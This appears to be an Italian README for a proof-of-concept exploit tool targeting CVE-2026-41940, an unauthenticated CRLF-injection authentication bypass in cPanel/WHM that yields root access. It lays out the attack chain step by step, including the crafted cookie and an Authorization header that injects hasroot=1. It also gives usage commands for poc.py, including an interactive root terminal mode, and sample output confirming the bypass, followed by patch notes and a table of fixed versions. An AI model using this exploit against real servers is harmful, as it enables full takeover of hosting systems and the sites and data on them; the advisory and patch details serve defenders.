
Proof-of-concept exploit per CVE-2026-41940, una bypass dell'autenticazione critico in cPanel/WHM tramite iniezione CRLF, che consente accesso root non autenticato e shell interattiva.
Autore: SilySec
Ricerca originale: Sina Kheirkhah (@SinSinology) / watchTowr Labs
Gravità: Critica (CVSS 9.8)
Tipo: Iniezione CRLF → Bypass dell'autenticazione → Shell root
CVE-2026-41940 è una vulnerabilità critica in cPanel/WHM che consente a un attaccante non autenticato di ottenere accesso root completo tramite un'iniezione CRLF nel gestore di autenticazione Basic di cpsrvd.
La falla combina tre debolezze:
saveSession() in Cpanel/Session.pm non sanifica i caratteri \r\n prima della scrittura su disco quando la chiave <ob> è assente dal cookie.<obHEX> nel cookie di sessione, l'encoder per sessione non si attiva, lasciando i byte CRLF scritti in chiaro nel file di sessione.Cpanel::Session::Modify::save() rilegge il file grezzo e promuove le chiavi CRLF iniettate nella cache JSON, rendendo la sessione pienamente autenticata.POST /login/?login_only=1 [password errata]
└─► cookie: whostmgrsession=:ID,<obHEX>
Rimuovere ,<obHEX> → :ID [disattiva l'encoder]
GET / + Cookie: :ID
+ Authorization: Basic root:x\r\nhasroot=1\r\n...
└─► cpsrvd scrive i byte CRLF grezzi nel file di sessione
GET /scripts2/listaccts + Cookie: :ID [senza token di sicurezza]
└─► do_token_denied() → Cpanel::Session::Modify::save()
└─► cache JSON ricostruita con hasroot=1, tfa_verified=1
→ Sessione autenticata come root
pip install requests
# Per la modalità --terminal (opzionale):
pip install paramiko
python3 poc.py --target https://TARGET:2087
python3 poc.py --target https://TARGET:2087 --terminal
python3 poc.py --target https://1.2.3.4:2087 --hostname cpanel.esempio.com
[*] target : https://1.2.3.4:2087
[*] canonical: cpanel.esempio.com
[1/4] minting preauth session ...
session = :AbCdEfGh...,0123456789abcdef
stripped = :AbCdEfGh...
[2/4] injecting CRLF payload ...
307 → leaked token = /cpsess1234567890
[3/4] triggering cache propagation ...
do_token_denied → Cpanel::Session::Modify::save() fired
[4/4] verifying root access ...
✔ AUTH BYPASS CONFIRMED
cPanel version : 11.136.0.5
cookie : whostmgrsession=%3AAbCdEfGh...
WHM URL : https://1.2.3.4:2087/cpsess1234567890/
Host (non l'IP) — cpsrvd gestisce le sessioni in modo diverso in base all'hostname9999999999 (fisso, futuro lontano) — un timestamp corrente falliscesuccessful_internal_auth_with_timestamp deve venire per primoLa patch sposta la chiamata a filter_sessiondata() all'interno di saveSession() e aggiunge una codifica condizionale quando la chiave <ob> è assente, impedendo qualsiasi scrittura in chiaro.
Aggiornare cPanel/WHM immediatamente alle versioni corrette elencate sopra.
Questo strumento è fornito esclusivamente a scopo di ricerca e test interno. Qualsiasi utilizzo su sistemi senza autorizzazione esplicita è illegale. SilySec declina ogni responsabilità in caso di uso improprio.
| Ramo | Ultima versione vulnerabile | Versione corretta |
|---|
| 110.0.x | 11.110.0.96 | 11.110.0.97 |
| 118.0.x | 11.118.0.62 | 11.118.0.63 |
| 126.0.x | 11.126.0.53 | 11.126.0.54 |
| 132.0.x | 11.132.0.28 | 11.132.0.29 |
| 134.0.x | 11.134.0.19 | 11.134.0.20 |
| 136.0.x | 11.136.0.5 | 11.136.0.6 |